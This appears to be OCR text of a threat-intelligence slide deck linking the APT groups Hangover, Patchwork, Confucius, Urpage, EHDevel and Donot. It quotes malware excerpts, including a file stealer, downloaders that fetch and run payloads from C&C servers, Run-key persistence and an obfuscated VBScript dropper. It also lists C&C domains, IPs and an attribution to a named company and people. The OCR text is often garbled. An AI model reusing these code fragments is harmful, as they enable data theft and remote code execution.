
folder = folderl[O]
#print fullpath

if folder.find(skipdir[C]) <> -1 or folder.find(skipdir[l]) <> -1 or folder.find(skipdir[2]) <> -1 or folder.find(skipdir[3]) <> -1 or
#print fullpath
break
if (os.path.splitext (fullpath) [1l] == ".doc') or (os.path.splitext (fullpath)[l] == '.xls') or (os.path.splitext(fullpath)[l] = '.ppt') or (os.path.splite

#fullpath.replace ("\,/, 1, *, 2, <.> |~ 5"." ")

EHDevel python filestealer

780314d845306e691705e06c9fbc23d1cc919d339025834d152e0010e1d88264
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Hangover — Snake in the Grass - EHDevel

#a = checkvm()

If HOT Sz = "" Then Exit

HttpSetUserhgent ("Mozilla™)

Global Suploaddir = "C:\ApplicationData\Prefetch\"

Global Swvorkdir = "C:\ApplicationData\"

Global Fhost = "zeusagency.net"

Global Sfport = "Z0"

Global fpage = "dock/getmax.php"

Global Snams = @EComputerName

Global Svars = "sysname=" &k fnames

Global surl . . . :

clobal Seets "ALLPR 1/ S Zeusagency.net/dockh/getall . php?syvsname=
Global Sgsti

Global Spiugins = "http://Zeusagen: net/doch/plugins/

RegWrite ("HKEY LOCAL MACHI NE\ SOFTWA Microsoft\Windows\CurrentVersion\Run", "AVRemote™, "REG_SI", @ScriptFullPath)

Derreate{SnorLdir}
DirCreate(Sfuploaddir)
If @ScriptName = "notepad.com” Then Run("notepad.exe™)
Ieadhttp{S stallurl)
While _

_uploadpath()

WEnd

Hangover AutolT script

bb48dfdefédbca5b48442903bfddf53de83b5717da3e33ecab2e1336006e5ed6



Hangover — Snake in the Grass - EHDevel

def dex{cname} :

[ Ep—

LI

"http:// "+ getserver + foldername+ "/online.php?sysne

dfiles7 = dfiles6.split(':")}
dataTlen = len(dfilesg)
if dataTlen <> O:
for dfile in dfilesT:
try:
f5 = urlopen({"http://"+ getserver + foldername+ "/Sdownload/%(="%dfile)
outputl=open (dir24+"s=2"%dfile, "wk')
outputl.write (£5.read())
outputl.close ()
dfile = dirZ2+dfile
runfile{dfile)
except:
continne
except:
pass

Snake in the Grass Python executable

66c6975e45h19d86634727b95a8baal8b4523b3cf9996d7d3ae39ff57f805741

I
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Hangover — Snake in the Grass - EHDevel

def dnd{na,hname, dir2):
if nma == L:
files = urlopen{'https:// "+getserver()+'"/fetchnewl3.phry',context=ctx) .read()
"https://"+getserver()+"/onlinestatus.php?sysname=%3"% (hname ) ()
ffilelD = glok(dir2+™=m)
for £ in files.splitc(':"):

try:
if not (dir2+f in £fileld) or (f.find('.txt') <> -1}):
filesl = urlopen('https://"+getserver(})+'/browsernewl3/ 53"%(f) ,context=ctx) .read()
rfile = dirZ+f
f = open(rfile,"wk"}
f.write(filesl)
f.close()
gleep (10}
p = check call({[rfile], shell = True)
#p = check call(["cmd.exe /C", rfile], shell = True)
except:
continne

EHDevel python executable

dbcc4c05a350f44904d95e0a4f975008892bc8f599f6a14267771d28d6de0057
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Hangover — Patchwork

= Uses the same technique for encoding C&C addresses
= Hardcoded and encoded (sub 0x01) URL addresses with configuration
e %5 to web server..a+ Failed to up

load file %s....]Tfufss/mph.\nts.txt....
Feo.;...%d out of %d uploaded...Esbl2/qi

P Thsx fTmmhbsnfout/ fviSESIEAIGVD RN ERED

45E70395ABFBED8D2BFFC8BBD152. . . .Excep wh

xfhsxfmmhbsnfout/fv

£F HExT Output

wearwellgarments.eu

om
»Z
Cle)



Hangover — Patchwork

= Badnews backdoor

uuqt; 88sbx/hjuivcetfsdpoufou/dpnBbmgsffeopcfmjBuftuspBnbtufsBynmsynm. . .iuug

ADD

Key

Hardcoded and encoded (sub 0x01) URL addresses with configuration

Links to legitimate services like Github, feed43, webrss, wordpress,

weebly...

Hex -

fF

fFfe/fqigEgf

iuugt;eesbx/hjuivcvtfsdpoufou/dpnebmgsffeopcfmjeuftusp@nbtufseynm/ynm
iuug;@8gffess/dpn@6281594223137742/ynm

iuug;eexxx/xfcstt/dpnedsfbufgffe/qiqagffejer5::53
iuugt;eecfdiftcfbvuff/xpseqsfit/dpne

time:

e 1
Output length: 13% [ savetofile i Move outputto input Und
ines:

https://rauw.githubusercontent.com/alfreednobeli/testro/master/xml.xml
http://feedd43.com/5178483112626631.xml http://www.webrss.com
fcreatefeed.php?feedid=49942 https://bechesbeautee.wordpress.com/



Hangover — Patchwork

= Some Hangover and Patchwork domain names were linked to

the same mail address: munna.bhail24@gmail.com

In WHOIS records
In DNS SOA records

201675522252 A PTI R S fl—— i BEahs

Eifth . EE
. SOAEWHOISXEL

C&Ci % SOA RNAME

revoltmax.com munna.bhai124@gmail.com

IP
178.162.210.245

blingblingg.com munna.bhai124@gmail.com

178.162.210.246

eyescreem.com munna.bhai124@gmail.com

95.211.205.166

outlookkz.com munna.bhai124@gmail.com

95.211.205.164

dailychina.news munna.bhai124@gmail.com

178.162.210.247

asiandefnetwork.com munna.bhai124@gmail.com

178.162.210.248

xbladezz.com munna.bhai124@gmail.com

178.162.210.243

xmachinez.com munna.bhai124@gmail.com

178.162.210.242
46.165.229.9

Source : ISC 2016, Qihoo 360 “Helios Team”
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Patchwork — Confucius

= NDiskMonitor (Patchwork)
" Custom .NET backdoor
= Commands:
cme-update — exec command
dv — list logical drives
rr — list files and directories

ue — download & execute

F |

B NDiskMonitor (3.2.8.8)
4 = NDiskMonitor.exe
ba= PE
[ =B References
P Fesources
b{} -
4 {} NDiskMonitor
4 %3 |)Disk @02000008



Patchwork — Confucius

= NDiskMonitor (Patchwork)
" Custom .NET backdoor
= Commands:
cme-update — exec command
dv — list logical drives
rr — list files and directories

ue — download & execute

F |

B NDiskMonitor (3.2.8.8)
4 = NDiskMonitor.exe
ba= PE
[ =B References
P Fesources
b{} -
4 {} NDiskMonitor
4 %3 |)Disk @02000008



Patchwork — Confucius

= remote-access-c3 (Confucius)

Inspired by Patchwork’s NDiskMonitor

The same behavior, strings, backdoor commands

Written in C++, uses STL librarv

vl = stds char traits<char:

zf ( str_find(&Buf, "cme- up cm_E u Pdate

string_op2(&ProcessInforn
LOBYTE(v133) = 5;

std::basic_string<char,std::char_traits<char:,std::allecator<char>>::basic_string<char,std::char_traits<char:,std::allocator<chars:(

(int)viz2,
"omd [/c echo \"");
LOBYTE(v133) = 6&;

vas = std: :char_tralts(char}- u E

if { str_find(&uf, "uel|", (1n+

1
string_op2(&v117, (int)&Buf, 124);
LOBYTE(v133) = 36;
get_random_string(&v123);
LOBYTE(v133) = 37;
va7 = stdiichar_traits<char»::length(".exe");

std thasic strlng(char,std char_traits(char>,std:

rallocator<chars»:

rappend(”

exe”, va7);



Patchwork Confucius

noy
call
lea
push
lea
moy
call
mov
pop
call
mov
lea
call
mov
push
lea
push
xor
moy
moy
call
mov
call
cmp
ige
mov
mov
mov
call
noy
call
moy
call

ed=,[ebp-1C]
eax,4589EL
cupy_string
eax,[ebp-1C]
eax
ed®,[ebp-28]
eax, 589FL
copy_string
edx,dword ptr
eax

@LStrCat
eax,dword ptr
ed=,[ebp-8]
copy_string
al,[4589FC]
eax
eax,[ebp-8C]
eax

eCH,BCH

edx, 458008
eax,dword ptr
StringReplace
eax,dword ptr
@EL5trLen
eax,f
884588C7

ecx, 4k

edx, 458014
eax, 58A3L
EAssert
eax,dword ptr
ELStrLen
ed=,20

Min

[ebp-28]

[ebp-1C]

[ebp-2]
[ebp-6C]

[ebp-8C]

Patchwork (Delphi backdoor)

lea
moy
call
lea
push
lea
mou
call
moy
pop
call
mou
lea
call
mou
push
lea
push
2o
mou
mou
call
mou
call
cmp
ige
mou
mou
mou
call
moy
call
mou
call

edx, [ebp-1C]
eax,A72E38
copy_string
eax,[ebp-1C]
eax
edx,[ebp-28]
eax,472EuB
copy_string
edx,dword ptr
eax

ELStrCat
eax,dword ptr
edx,[ebp-8]
copy string
al,[472E48]
eax
eax,[ebp-8C]
eax

eCcH,BCX
edx,472ES5L
eax,dword ptr
StringReplace
eax,dword ptr
ELStrLen
eax,d
88472013
ecx,310
edx,472E608
pax,472EEA
BAssert
eax,dword ptr
ELStrLen

edx .28

Min

[ebp-28]

[ebp-1C]

[ebp-&]

[ebp-8C]

[ebp-8C]

Confucius (Delphi backdoor)
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Confucius — Urpage

= Malicious InPage documents exploiting CVE-2017-12824

) »
»/I(Z’U[ Drops

InPagee Urdu

Drops

Clean document

Malware

Connects




Confucius — Urpage

= Sample 1
, *»
»A&’QJ[ Drops
InPagee Uy —
Filename: SAMPLE.INP
Drops Connects

Confucius C&C

f

Filename: winopen.exe

-X
om
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Confucius — Urpage

= Sample 2
, *»
»A&’QJ[ Drops
InPagee Uy —
Filename: SAMPLE.INP
Drops Connects

Urpage C&C

f

Filename: winopen.exe

|
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Confucius — Urpage

= Same vulnerability exploited
= Dropped files have similar names

—>Both groups probably use the same non-public builder
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lea
nou
cal:
nov
pusl
lea
push
xor
nov
nov
call
nov
call
cmp
ige
nov
nou
nov
call
nov
call
nov
call
nov
nov
push
lea
nov
nov
call
add
nov
dec
test
j1
inc
xor
nov
nov
and
nov
nov
inc
dec
jne

Hangover — Confucius — Urbag

eax, | epp-ui|
eax

B8CY,BCX

edx, 454804

eax,dword ptr [ebp-8]
StringReplace
eax,dword ptr [ebp-8C]
EL5trLen

eax, 8

BA4ELFAC

ecx,7B

edx,4548E8

eax,45LEF8

@Assert

eax,dword ptr [ebp-8C]
ELStrLen

edx,20

Hin

dword ptr [ebp-18],eax
eax,dword ptr [ebp-16]
eax

eax,[ebp-18]

ecx,l

ed®,dword ptr ds:[4546FC]
EDynaArraySetlength
esp,4

esi,dword ptr [ebp-16]
esi

esi,esi

BO4SL7FSR

esi

ebx,ebx

eax,dword ptr [ebp-8C]
al,byte ptr [eax+ebx]
al,1F

ed®,dword ptr [ebp-18]
byte ptr [edx+ebx],al
ebx

esi

BOUELFEG

Confucius

lea
mou
call
mow
push
lea
push
il
mou
mow
call
mow
call
mouy
call
mou
mou
push
lea
mouy
mouy
call
add
mou
dec
test
jl
inc
=0k
mou
mou
and
mow
mow
inc
dec
jne

eax,[ebp-18]

eax

ecx,ecx

edx,45L70h

eax,dword ptyr [ebp-2]
StringReplace
eax,dword ptyr [ebp-168]
@BLStrLen

edx,20

Hin

dword ptr [ebp-14],eax
eax,dword ptyr [ebp-14]
eax

eax,[ebp-1C]

ecx,

edx,duord ptr ds:[454614]

BDynArraySetLength
esp,h

esi,dword ptr [ebp-14]
esi

esi,esi

B04546EL

esi

ebx,ebx

eax,dword pty [ebp-10]
al,byte ptr [eax+ebx]
al,1F

edx,dword ptyr [ebp-1C]
byte ptr [edx+ebx],al
ebx

esi

B04546D2

Hangover

lea
mnoy
call
moy
push
lea
push
®xor
mou
mov
call
mov
call
cmp
Jge
mov
mov
moy
call
moy
call
mov
call
mov
mnou
push
lea
mov
mov
call
add
mou
dec
test
j1
inc
®xor
mov
mov
and

mov
inc
dec
jne

eax

ecx,ecx

edx, 474408

eax,dword ptr [ebp-8]
StringReplace
eax,dword ptr [ebp-6C]
ELStrLen

eax,s

804743E2

ecx, 0F6

eds, 47LLEL

eax,u7u5 0y

EAssert

eax,dword ptr [ebp-8C]
ELStrlen

edx,20

Min

dword ptr [ebp-16],eax
eax,dword ptr [ebp-108]
eax

eax,[ebp-18]

ecx,1

edx,dword ptr ds:[474340]
@DynArraySetLength
esp,h

esi,dword ptr [ebp-16]
esi

esi,esi

8047 442F

esi

ebx,ebx

eax,dword ptr [ebp-6C]
al,byte ptr [eax+ebx]
al,1F

edx,dword ptr [ebp-128]
byte ptr [edxz+ebx],al
ebx

esi

aeu7uu1c

Urpage
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Urpage — EHDevel

m SFX archive sbebe3986c2dcb5f50ea5d34c564c24ad3bbel32e648f1d009757a0d69c87e52

Connects ‘
y
B

ioData backdoor Urpage C&C

SFX Archlve
Extracts ! i !

Py2exe malware

EHDevel code structure

) TREND.
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Confucius — Donot

Index of /Normal

Name Last modified Size Description

¥ Parent Directory -
@ SVA.doc 2018-07-30 20:58 13M
SampleApplication.exe 2006-04-25 08:33 20K
Setlp.eXe g 2018-08-07 06:35 584K

@ pieupdate.docx 2018-08-07 10:23 14K

Apache/2.4.18 (Ubuntu) Server at pieupdate.online Port 443

Confucius domain name

yty framework

(Donot)
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Confucius — Urpage — Donot

= Three different RTF files exploiting different vulnerabilities to

drop a similar uncommon downloader

<script language="VEBScript">Window.ReSizeTo 0, 0 : Window.moweTo -2000,-2000 : Set Office = Createlbject | "WScript.Shell"™ ) : Set fin = CreatelCbject ("Scri
If (fin.FileExists ("c:\\windows\\system32\\drivers\\avgdiskx.sys")) Then
appData = Office.expandEnvirommentStrings ("3tmp3") & "‘word.exe"™ : Office.run "cm"+"d."+"e"+"xe "+" Jc Po"+"w"+"erS"+"he"+"11l -Win"+"dow"+"Sty"+"le H
Else
appData = Office.expandEnvirommentStrings ("3tmp3") & "‘word.exe"™ : Office.run "Po"+"w"+"er5"+"he"+"11l -Win"+"dow"+"Stcy"+"le Hid"+"den ta"+"sk"+"kim"+"1

End If

self.close</scripe>

= Only difference is the base64 string linking to the payload

o,U
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Patchwork — Urpage

= Urpage makes heavy use of an Android malware belonging to

the “Bahamut” family

= OnJuly 2018, we found a malware belonging to this family

with a C&C belonging to the Patchwork infrastructure
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Bonus slides

= Someone wrote an article at the beginning of September 2018

which attributed Monsoon APT to “Phronesis”

Gulf Hacks [ Follow | _
‘ lowwg¥l 3 il (po i jiiYl (yol jus Tech reporter and Writer at @mahdiabbastech Earlier

@theverge
Sep 7 - 5 min read

Companies like Phronesis Are Needed For
Building Offensive Cyber Security Front

The expansion of Fifth Generation Warfare in cyberspace is one of the major

concerns that states are struggling to deal with. Going by the phases of Fifth

Generation cyber Warfare,countries today stands amidst of continues cyber-

attacks from offensive cyber players like China, which no doubt have aced up
their offensive cyber security front, whereas others countries are becoming a
victim to their cyber breach adventures like UAE and other middle east

countries, who are still trying to catch up.

The recent developments however indicate that private players like Dubai-
Indian company “Phronesis” is supporting leaps in building offensive cyber
security fronts in need. The most recent of its achievements has been the
successful malware attack on Chinese nationals in December 2015. An APT
report named “Monsoon” has been published by Forecpoint Security Labs
as a part of their investigative study, analysing the elements of which
develops a direct connection how Phronesis led the strategic attack.

https://medium.com/@mahdiabbastech/companies-like-phronesis-are-needed-for-building-offensive-cyber-security-front-3b6fad7a6ea3
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https://medium.com/@mahdiabbastech/companies-like-phronesis-are-needed-for-building-offensive-cyber-security-front-3b6fad7a6ea3

Bonus slides

Phronesis is an Indian company founded in 2014 by two
retired Indian officers, Brigadier Ram Chhillar and Lieutenant
Colonel Bryan Miranda

It offers services such as “employee monitoring” or forensics

Indian army is the first in the list of its customers

Current domain is phronesisindia.com



Bonus slides

= 3 old domains (2010-2012) from the Cymmetria report used
munna.bhail24@gmail.com as contact mail at one point

= Multiple other domains have used that mail in their SOA
record T e e

Hfth : EEgE

- SOA5WHOISXEX

C&Ci4 SOA RNAME IP
revoltmax.com munna.bhai124@gmail.com 178.162.210.245
blingblingg.com munna.bhai124@gmail.com 178.162.210.246
eyescreem.com munna.bhai124@gmail.com 95.211.205.166
outlookkz.com munna.bhai124@gmail.com 95.211.205.164
dailychina.news munna.bhai124@gmail.com 178.162.210.247
asiandefnetwork.com munna.bhai124@gmail.com 178.162.210.248
xbladezz.com munna.bhai124@gmail.com 178.162.210.243
xmachinez.com munna.bhai124@gmail.com 178.162.210.242

46.165.229.9

Source : ISC 2016, Qihoo 360 “Helios Team”
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Bonus slides

= The article states that DNS SOA records of multiple domains
linked to Phronesis contained the mail

munna.bhail24@gmail.com

=  Those records have been modified to remove that mail

= The proof if still available in websites such as PassiveTotal

= That mail was also linked to domains listed in the Hangover

report from 2013


mailto:munna.bhai124@gmail.com

Conclusion

= \We showed that these groups share
= Code

= |nfrastructure

= Targets (mainly Pakistan)

= We cannot know if there is only one actor behind all of them,

but we can prove the connections between them

= There may be more connections, such as with BITTER group
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